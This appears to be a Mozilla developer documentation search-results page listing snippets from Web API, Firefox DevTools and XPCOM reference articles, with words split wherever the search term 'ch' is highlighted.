...the forward and up values are linearly independent of ea
ch other.
...the forward and up values are linearly independent of ea
ch other.
...And 12 more matches
AudioNode - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family...
...="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">audionode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: an audionode can be target of events, therefore it implements the eventtarget interface.
... description the audio routing graph ea
ch audionode has inputs and outputs, and multiple audio nodes are connected to build a processing graph.
...And 12 more matches
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images whi
ch can then be used anywhere a css image can be invoked, su
ch as css background-image, border-image, mask-image, etc.
... we define the fillstyle as being hsla(55, 90%, 60%, 1.0), whi
ch is a shade of yellow, and then call fillrect() to create a rectangle of that color.
... using the paint worklet to use the paint worklet, we need to register it using addmodule() and include it in our css, ensuring the css selector mat
ches a dom node in our html registering the worklet the setup and design of our paint worklet took place in the external script shown above.
...And 12 more matches
ConstantSourceNode - Web APIs
the constantsourcenode interface—part of the web audio api—represents an audio source (based upon audios
cheduledsourcenode) whose output is single un
changing value.
... this makes it useful for cases in whi
ch you need a constant value coming in from an audio source.
... a constantsourcenode has no inputs and exactly one monaural (one-
channel) output.
...And 12 more matches
Detecting device orientation - Web APIs
increasingly, web-enabled devices are capable of determining their orientation; that is, they can report data indicating
changes to their orientation with relation to the pull of gravity.
... in particular, hand-held devices su
ch as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web content when the device is rotated so that its width is greater than its height.
...the first one is the deviceorientationevent, whi
ch is sent when the accelerometer detects a
change to the orientation of the device.
...And 12 more matches
DocumentFragment - Web APIs
changes made to the fragment don't affect the document (even on reflow) or incur any performance impact when
changes are made.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/documentfragment" target="_top"><rect x="266" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">documentfragment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor documentfragment() creates and returns a new documentfragment object.
...And 12 more matches
Element.requestFullscreen() - Web APIs
the element.requestfullscreen() method issues an asyn
chronous request to make the element be displayed in full-screen mode.
...if permission to enter full screen mode is granted, the returned promise will resolve and the element will receive a fullscreen
change event to let it know that it's now in full screen mode.
...if the element has been deta
ched from the original document, then the document receives these events instead.
...And 12 more matches
FileSystemDirectoryEntry.getDirectory() - Web APIs
the filesystemdirectoryentry interface's method getdirectory() returns a filesystemdirectoryentry object corresponding to a directory contained somewhere within the directory subtree rooted at the directory on whi
ch it's called.
... syntax filesystemdirectoryentry.getdirectory([path][, options][, successcallback][, errorcallback]); parameters path optional a usvstring representing an absolute path or a path relative to the directory on whi
ch the method is called, describing whi
ch directory entry to return.
... options optional an object based on the filesystemflags dictionary, whi
ch allows you to specify whether or not to create the entry if it's missing and if it's an error if the file already exists.
...And 12 more matches
FileSystemDirectoryEntry.getFile() - Web APIs
} the filesystemdirectoryentry interface's method getfile() returns a filesystemfileentry object corresponding to a file contained somewhere within the directory subtree rooted at the directory on whi
ch it's called.
... syntax filesystemdirectoryentry.getfile([path][, options][, successcallback][, errorcallback]); parameters path optional a usvstring specifying the path, relative to the directory on whi
ch the method is called, describing whi
ch file's entry to return.
... options optional an object based on the filesystemflags dictionary, whi
ch allows you to specify whether or not to create the entry if it's missing and if it's an error if the file already exists.
...And 12 more matches
Functions
when the function object is created, its parent is set to the first object on the scope
chain.
... when a name is evaluated that doesn't refer to a local variable, the interpreter consults the scope
chain to find the variable.
...this is slow, not only because walking the scope
chain is a drag, but also because we'd rather avoid actually creating the scope
chain at all, if possible.
...And 11 more matches
Introduction to the JavaScript shell
you can use it as an interactive shell, in whi
ch you type javascript code at a prompt and get instant gratification, whi
ch is handy for experimenting or testing new features.
... you can also pass in, on the command line, a javascript program file to run, in whi
ch case the program is run automatically.
...fox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascript code in the file foo.js, you can use this command: js foo.js to run foo.js then drop into the interactive shell, do this: js -f foo.js -i reference note: because the javascript shell is used as a test environment for the javascript engine, the available options and built-in functions can
change over time.
...And 11 more matches
JS::CompileFunction
syntax bool js::compilefunction(jscontext *cx, js::autoobjectvector &scope
chain, const js::readonlycompileoptions &options, const
char *name, unsigned nargs, const
char *const *argnames, const
char16_t *
chars, size_t length, js::mutablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvector &scope
chain, const js::readonlycompileoptions &options, const
char *name, unsigned nargs, const
char *const *argnames, js::sourcebufferholder &srcbuf, js::mutablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvecto...
...r &scope
chain, const js::readonlycompileoptions &options, const
char *name, unsigned nargs, const
char *const *argnames, const
char *bytes, size_t length, js::mutablehandlefunction fun); name type description cx jscontext * the context in whi
ch to compile the function.
... scope
chain js::autoobjectvector & the scope in whi
ch to compile the function.
...And 11 more matches
JSClass.flags
if this flag is set, ea
ch instance of the class has a field for private data.
... mxr id sear
ch for jsclass_has_private jsclass_private_is_nsisupports mozilla extension.
... the private field of ea
ch object of this class points to an xpcom object (see nsisupports).
...And 11 more matches
JS_DefineProperty
syntax bool js_defineproperty(jscontext *cx, js::handleobject obj, const
char *name, js::handlevalue value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const
char *name, js::handleobject value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const
char *name, js::handlestring value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const
char *name, int32_t value, unsigned attrs...
..., jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const
char *name, uint32_t value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineproperty(jscontext *cx, js::handleobject obj, const
char *name, double value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, js::handlevalue value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_...
...t namelen, js::handleobject value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, js::handlestring value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, int32_t value, unsigned attrs, jsnative getter = nullptr, jsnative setter = nullptr); bool js_defineucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, uint32_t value, unsigned attrs, jsnative getter = nu...
...And 11 more matches
JS_LookupProperty
syntax bool js_lookupproperty(jscontext *cx, js::handleobject obj, const
char *name, js::mutablehandlevalue vp); bool js_lookupucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, js::mutablehandlevalue vp); bool js_lookuppropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 bool js_lookupelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandleval...
...ue vp); // ---- obsolete since spidermonkey 31 ---- bool js_lookuppropertywithflags(jscontext *cx, js::handleobject obj, const
char *name, unsigned flags, js::mutablehandlevalue vp); bool js_lookuppropertywithflagsbyid(jscontext *cx, js::handleobject obj, js::handleid id, unsigned flags, js::mutablehandleobject objp, js::mutablehandlevalue vp); // added in spidermonkey 1.8.1 name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... obj js::handleobject object to sear
ch on for the property.
...And 11 more matches
Mork
mork structure mork is a s
chema-less database format.
... at its core, it can be viewed as a set of rows, collections of name-value pairs, whi
ch can be organized into various tables.
...in practice, only c++-style comments, and the standard whitespace
characters ('\t', ' ', '\r', '\n') appear to be used.
...And 11 more matches
Components.utils.Sandbox
see security
checks for more information on security principals.
... system principal to specify the system principal, you can create it using code like: cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); content principal you can specify a content principal for a particular origin in one of three ways: as an nsiprincipal, for example by using the nodeprincipal property of a dom node as an nsidomwindow, su
ch as that returned by the dom window property as a string uri like "http://www.example.com/" (discouraged) when possible, specify a window or an nsiprincipal object instead of using a string uri.
... window objects and nsiprincipal carry additional information su
ch as origin attributes and same-origin privilege
changes caused by setting document.domain.
...And 11 more matches
Language bindings
an xpcom language binding is a bridge between a particular language and xpcom to provide access to xpcom objects from that language, and to let modules written in that language be used as xpcom objects by all other languages for whi
ch there are xpcom bindings.
... exposes modules written in the bound language as xpcom objects, thereby enabling all other languages for whi
ch xpcom bindings exist to access these modules.
... the following bridging layers are currently available: components objectthe components object is the object through whi
ch xpconnect functionality is reflected into javascript.
...And 11 more matches
mozIRegistry
it's not really about any "registry interface" so mu
ch as it's about how mozilla supports a more dynamic binding between interface clients and the code that actually provides the implementation of those interfaces.
... it happens that this objective requires storing information about whi
ch implementation to use in a place distinct from your source code.
... and it happens that we've
chosen, up till now, to store that information in the "netscape registry" file.
...And 11 more matches
nsIAccessNode
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the nsiaccessnode implementations are instantiated lazily.
... method overview nsiaccessnode get
childnodeat(in long
childnum); obsolete since gecko 2.0 nsidomcssprimitivevalue getcomputedstylecssvalue(in domstring pseudoelt, in domstring propertyname); domstring getcomputedstylevalue(in domstring pseudoelt, in domstring propertyname); void scrollto(in unsigned long ascrolltype); void scrolltopoint(in unsigned long acoordinatetype, in long ax, in long ay); attributes note: attempting to access the attributes of a node that is unatta
ched from the accessible tree will result in an exception - ns_error_...
... first
childnode nsiaccessnode the first nsiaccessnode
child.
...And 11 more matches
nsICookieManager2
last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsicookiemanager this interface is included in the services.jsm javascript code module.
...); var cookieservice = services.cookies; method overview void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry); boolean cookieexists(in nsicookie2 acookie); unsigned long countcookiesfromhost(in autf8string ahost); boolean findmat
chingcookie(in nsicookie2 acookie, out unsigned long acountfromhost); obsolete since gecko 1.9 nsisimpleenumerator getcookiesfromhost(in autf8string ahost); void importcookies(in nsifile acookiefile); methods add() adds a cookie.
... void add( in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry ); parameters ahost the host or domain for whi
ch the cookie is set.
...And 11 more matches
nsICookiePermission
last
changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview nscookieaccess canaccess(in nsiuri auri, in nsi
channel a
channel); boolean cansetcookie(in nsiuri auri, in nsi
channel a
channel, in nsicookie2 acookie, inout boolean aissession, inout print64 aexpiry); nsiuri getoriginatinguri(in nsi
channel a
channel); void setaccess(in nsiuri auri, in nscookieaccess aaccess); constants constant value description access_default 0 nscookieaccess's access default value access_allow 1 nscookieaccess's access allow value access_deny 2 nscookieaccess's access deny value access_session 8 ad...
...ditional values for nscookieaccess, whi
ch are not directly used by any methods on this interface, but are nevertheless convenient to define here.
... methods canaccess() tests whether or not the given uri/
channel may access the cookie database, either to set or get cookies.
...And 11 more matches
nsIDOMWindow
it represents a single window object that may contain
child windows if the document in the window contains an html frameset document, or if the document contains iframe elements.
... 66 introduced gecko 1.0 deprecated gecko 44 inherits from: nsisupports last
changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) starting with firefox 44, this file is empty as its features were either no longer used or are only available from c++ code; see dom/base/nspidomwindow.h for those.
... starting in firefox 3, dom windows are actually based on nsidomwindow2, whi
ch is a subclass of nsidomwindow that adds some new features to this interface.
...And 11 more matches
nsIHttpServer
* * @param port * the port upon whi
ch listening should happen, or -1 if no specific port is * desired * @throws ns_error_already_initialized * if this server is already started * @throws ns_error_not_available * if the server is not started and cannot be started on the desired port * (perhaps because the port is already in use or because the process does * not have privileges to do so) * @note * ...
... * * @param callback * an asyn
chronous callback used to notify the user when this server is * stopped and all pending requests have been fully served * @throws ns_error_null_pointer * if callback is null * @throws ns_error_unexpected * if this server is not running */ void stop(in nsihttpserverstoppedcallback callback); /** * associates the local file represented by the string file with all request...
...s * whi
ch mat
ch request.
...And 11 more matches
nsIMsgIdentity
ea
ch identity is identified by a key, whi
ch is the id string in the identity preferences, su
ch as in mail.identity.<id>.replyto.
... inherits from: nsisupports method overview void clearallvalues(); void copy(in nsimsgidentity identity); astring getuni
charattribute(in string name); void setuni
charattribute(in string name, in astring value); acstring get
charattribute(in string name); void set
charattribute(in string name, in acstring value); boolean getboolattribute(in string name); void setboolattribute(in string name, in boolean value); long getintattribute(in string name); void setintattribute(in string name, in long value); astring tostring(); attributes attribute type description identityname astring fullname astring user's full name, i.e.
... atta
chsignature boolean should we atta
ch a signature by default?
...And 11 more matches
nsIPluginHost
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsifile createtempfiletopost(in string apostdataurl); native code only!
... nsistreamlistener instantiatepluginfor
channel(in nsi
channel a
channel, in nsiplugininstanceowner aowner); native code only!
... void ispluginenabledforextension(in string aextension, in const
charstarref amimetype); native code only!
...And 11 more matches
nsISocketTransportService
inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/socket-transport-service;1.
... to create an instance, use: var sockettransportservice = components.classes["@mozilla.org/network/socket-transport-service;1"] .getservice(components.interfaces.nsisockettransportservice); method overview void atta
chsocket(in prfiledescptr afd, in nsasockethandlerptr ahandler); native code only!
... nsisockettransport createtransport(in array<acstring> asockettypes, in autf8string ahost, in long aport, in nsiproxyinfo aproxyinfo); void init(); obsolete since gecko 1.8 void notifywhencanatta
chsocket(in nsirunnable aevent); native code only!
...And 11 more matches
nsITransactionList
inherits from: nsisupports last
changed in gecko 1.7 method overview nsitransactionlist get
childlistforitem(in long aindex); nsitransaction getitem(in long aindex); long getnum
childrenforitem(in long aindex); boolean itemisbat
ch(in long aindex); attributes attribute type description numitems long the number of transactions contained in this list.
... methods get
childlistforitem() returns the list of
children associated with the item at aindex.
... implementations may return null if there are no
children, or an empty list.
...And 11 more matches
nsITreeBoxObject
last
changed in gecko 1.9 (firefox 3) inherits from: nsisupports to get the treeboxobject for a tree: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); or simply: let boxobject = tree.treeboxobject; method overview long getfirstvisiblerow(); long getlastvisiblerow(); long getpagelength(); void ensurerowisvisible(in long index); void ensurecellisvisible(in long row, in nsitreecolumn col); void scrolltorow(in long index); ...
...alidaterow(in long index); void invalidatecell(in long row, in nsitreecolumn col); void invalidaterange(in long startindex, in long endindex); void invalidatecolumnrange(in long startindex, in long endindex, in nsitreecolumn col); long getrowat(in long x, in long y); void getcellat(in long x, in long y, out long row, out nsitreecolumn col, out acstring
childelt); void getcoordsforcellitem(in long row, in nsitreecolumn col, in acstring element, out long x, out long y, out long width, out long height); boolean iscellcropped(in long row, in nsitreecolumn col); void rowcount
changed(in long index, in long count); void beginupdatebat
ch(); void endupdatebat
ch(); void clearstyleandimageca
ches(); ...
... this is a node that corresponds to the tree
children tag.
...And 11 more matches
nsIUTF8ConverterService
inherits from: nsisupports last
changed in gecko 1.7 method overview autf8string convertstringtoutf8(in acstring astring, in string a
charset, in boolean askip
check); autf8string converturispectoutf8(in acstring aspec, in string a
charset); methods convertstringtoutf8() ensure that astring is encoded in utf-8.
... if not, convert to utf-8 assuming it's encoded in a
charset and return the converted string in utf-8.
... autf8string convertstringtoutf8( in acstring astring, in string a
charset, in boolean askip
check, in boolean aallowsubstitution ); parameters astring a string to ensure its utf8ness.
...And 11 more matches
nsIXULTemplateResult
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) ea
ch result is identified by an id, whi
ch must be unique within the set of results produced from a query.
...generally, the result and its id will be able to uniquely identify a node in the source data, su
ch as an rdf or xml node.
... in other contexts, su
ch as a database query, a result would represent a particular record.
...And 11 more matches
Version, UI, and Status Information - Plugins
« previousnext » this
chapter describes the functions that allow a plug-in to display a message on the status line, get agent information, and
check on the current version of the plug-in api and the browser.
... displaying a status line message users are accustomed to
checking the ui status line at the bottom of the browser window for updates on the progress of an operation or the url of a link on the page.
...the user might appreciate seeing the percentage completed of the current operation or the url of a button or other link object when the cursor is over it, all of whi
ch the browser shows.
...And 11 more matches
Debugging service workers - Firefox Developer Tools
registration is done with a block of code along these lines, using the register() method: if('serviceworker' in navigator) { navigator.serviceworker .register('sw.js') .then(function() { console.log('service worker registered'); }); } if you get the path wrong, for example, you'll get an error in the web console giving you a hint as to what's wrong, whi
ch depends on what exactly is wrong with the code.
... the server worker’s status, whi
ch can be one of the following: stopped: the service worker is installed, but not currently running.
... unregister on the right-hand side of the service workers view there is an unregister button, whi
ch when pressed unregisters the service worker.
...And 11 more matches
UI Tour - Firefox Developer Tools
the ui is split vertically into three panels source list pane source pane the contents of the third pane depend on the current state of the debugger and may include the following sections: toolbar wat
ch expressions breakpoints call stack scopes xhr breakpoints event listener breakpoints dom mutation breakpoints source list pane the source list pane lists all the javascript source files loaded into the page, and enables you to select one to debug.
... at the top level sources are organized by origin, and under that they're organized by the directory structure from whi
ch they are served.
... you can sear
ch for a file using ctrl + p (cmd + p on a mac).
...And 11 more matches
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
note: the examples shown in the screenshots appearing in this article are jen simmons' futurismo and variations on a grid experiments, and a live named grid area example from ra
chel andrew.
... clicking the icon toggles the display of a grid overlay on the page, whi
ch appears over the element, laid out like a grid to show the position of its grid lines and tracks: the overlay is still shown when you select other elements, so you can edit related css properties and see how the grid is affected.
... grid options the grid section of the layout view looks like this: you'll see a number of options contained within: overlay grid: contains a
checkbox for ea
ch grid present on the page, along with various options.
...And 11 more matches
Attr - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/attr" target="_top"><rect x="266" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">attr</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), a number of deprecated properties and methods output warning messages to the c...
... this
change is implemented in
chrome since version 46.0 and firefox since version 48.0.
...And 11 more matches
AudioNode.connect() - Web APIs
the connect() method of the audionode interface lets you connect one of the node's outputs to a target, whi
ch may be either another audionode (thereby directing the sound data to the specified node) or an audioparam, so that the node's output data is automatically used to
change the value of that parameter over time.
... syntax var destinationnode = audionode.connect(destination, outputindex, inputindex); audionode.connect(destination, outputindex); parameters destination the audionode or audioparam to whi
ch to connect.
... outputindex optional an index specifying whi
ch output of the current audionode to connect to the destination.
...And 11 more matches
CustomEvent - Web APIs
this is the object to whi
ch the event is currently slated to be sent.
... it's possible this has been
changed along the way through retargeting.
... event.deeppath an array of dom nodes through whi
ch the event has bubbled.
...And 11 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
example in this example, a drop zone is created, whi
ch responds to the drop event by scanning through the dropped files and directories, outputting a hierar
chical directory listing.
... html content the html establishes the drop zone itself, whi
ch is a <div> element with the id "dropzone", and an unordered list element with the id "listing".
...this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item parameter), and an element into whi
ch to insert the list of contents (the container parameter).
...And 11 more matches
Document.execCommand() - Web APIs
when an html document has been swit
ched to designmode, its document object exposes an execcommand method to run commands that manipulate the current editable region, su
ch as form inputs or contenteditable elements.
... avalueargument for commands whi
ch require an input argument, is a domstring providing that information.
... commands backcolor
changes the document background color.
...And 11 more matches
Document.querySelectorAll() - Web APIs
the document method queryselectorall() returns a static (not live) nodelist representing a list of the document's elements that mat
ch the specified group of selectors.
... syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to mat
ch against.
... note:
characters whi
ch are not part of standard css syntax must be escaped using a backslash
character.
...And 11 more matches
Examples of web and XML development using the DOM - Web APIs
this
chapter provides some longer examples of web and xml development using the dom.
...put type="button" value="make border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in this simple example, some basic style properties of an html paragraph element are accessed using the style object on the element and that object's css style properties, whi
ch can be retrieved and set from the dom.
...in the next example (see example 4), you can use stylesheets and their rules to
change styles for whole documents.
...And 11 more matches
EventTarget.removeEventListener() - Web APIs
the event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the mat
ching process; see mat
ching event listeners for removal syntax target.removeeventlistener(type, listener[, options]); target.removeeventlistener(type, listener[, usecapture]); parameters type a string whi
ch specifies the type of event for whi
ch to remove an event listener.
... options optional an options object that specifies
characteristics about the event listener.
... the available options are: capture: a boolean whi
ch indicates that events of this type will be dispat
ched to the registered listener before being dispat
ched to any eventtarget beneath it in the dom tree.
...And 11 more matches
HTMLCanvasElement.getContext() - Web APIs
"webgl" (or "experimental-webgl") whi
ch will create a webglrenderingcontext object representing a three-dimensional rendering context.
... "webgl2" whi
ch will create a webgl2renderingcontext object representing a three-dimensional rendering context.
... "bitmaprenderer" whi
ch will create an imagebitmaprenderingcontext whi
ch only provides functionality to replace the content of the canvas with a given imagebitmap.
...And 11 more matches
HTMLScriptElement - Web APIs
html <script> elements expose the htmlscriptelement interface, whi
ch provides special properties and methods for manipulating the behavior and execution of <script> elements (beyond the inherited htmlelement interface).
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...And 11 more matches
Working with the History API - Web APIs
adding and modifying history entries using pushstate()
changes the referrer that gets used in the http header for xmlhttprequest objects created after you
change the state.
... example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even
check that bar.html exists.
... if the user clicks back once again, the url will
change to http://mozilla.org/foo.html, and the document will get a popstate event, this time with a null state object.
...And 11 more matches
KeyboardEvent.key - Web APIs
the keyboardevent interface's key read-only property returns the value of the key pressed by the user, taking into consideration the state of modifier keys su
ch as shift as well as the keyboard locale and layout.
... if the pressed key has a printed representation, the returned value is a non-empty unicode
character string containing the printable representation of the key.
... if the pressed key is a control or special
character, the returned value is one of the pre-defined key values.
...And 11 more matches
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both immediate and event-driven mat
ching against the state of the document.
... you can create a mediaquerylist by calling mat
chmedia() on the window object.
... the resulting object handles sending notifications to listeners when the media query state
changes (i.e.
...And 11 more matches
MediaTrackSettings - Web APIs
the mediatracksettings dictionary is used to return the current values configured for ea
ch of a mediastreamtrack's settings.
... these values will adhere as closely as possible to any constraints previously described using a mediatrackconstraints object and set using applyconstraints(), and will adhere to the default constraints for any properties whose constraints haven't been
changed, or whose customized constraints couldn't be mat
ched.
...for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, su
ch as facingmode or groupid.
...And 11 more matches
Media Source API - Web APIs
streaming media has up until recently been the domain of flash, with te
chnologies like flash media server serving video streams using the rtmp protocol.
... the mse standard with media source extensions (mse), this is
changing.
... mse allows us to replace the usual single track src value fed to media elements with a reference to a mediasource object, whi
ch is a container for information like the ready state of the media for being played, and references to multiple sourcebuffer objects that represent the different
chunks of media that make up the entire stream.
...And 11 more matches
MutationObserver.observe() - Web APIs
the mutationobserver method observe() configures the mutationobserver callback to begin receiving notifications of
changes to the dom that mat
ch the given options.
... depending on the configuration, the observer may wat
ch a single node in the dom tree, or that node and some or all of its descendant nodes.
... syntax mutationobserver.observe(target, options) parameters target a dom node (whi
ch may be an element) within the dom tree to wat
ch for
changes, or to be the root of a subtree of nodes to be wat
ched.
...And 11 more matches
Node.insertBefore() - Web APIs
the node.insertbefore() method inserts a node before a reference node as a
child of a specified parent node.
... if the given
child is a documentfragment, the entire contents of the documentfragment are moved into the
child list of the specified parent node.
... referencenode the node before whi
ch newnode is inserted.
...And 11 more matches
PushRegistrationManager - Web APIs
returns an interface to register or unregister a push registration, get an active registration, or
check the permission status of the registration.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushregistrationmanager experimentaldeprecated
chrome no support noedge no support nofirefox ?
...And 11 more matches
RTCIceTransport - Web APIs
the rtcicetransport interface provides access to information about the ice transport layer over whi
ch the data is being sent and received.
... gatheringstate read only a domstring indicating whi
ch gathering state the ice agent is currently in.
... getlocalcandidates() returns an array of rtcicecandidate objects, ea
ch describing one of the ice candidates that have been gathered so far for the local device.
...And 11 more matches
RTCRtpSender.replaceTrack() - Web APIs
the new track must be of the same media kind (audio, video, etc) and swit
ching the track should not require negotiation.
... among the use cases for replacetrack() is the common need to swit
ch between the rear- and front-facing cameras on a phone.
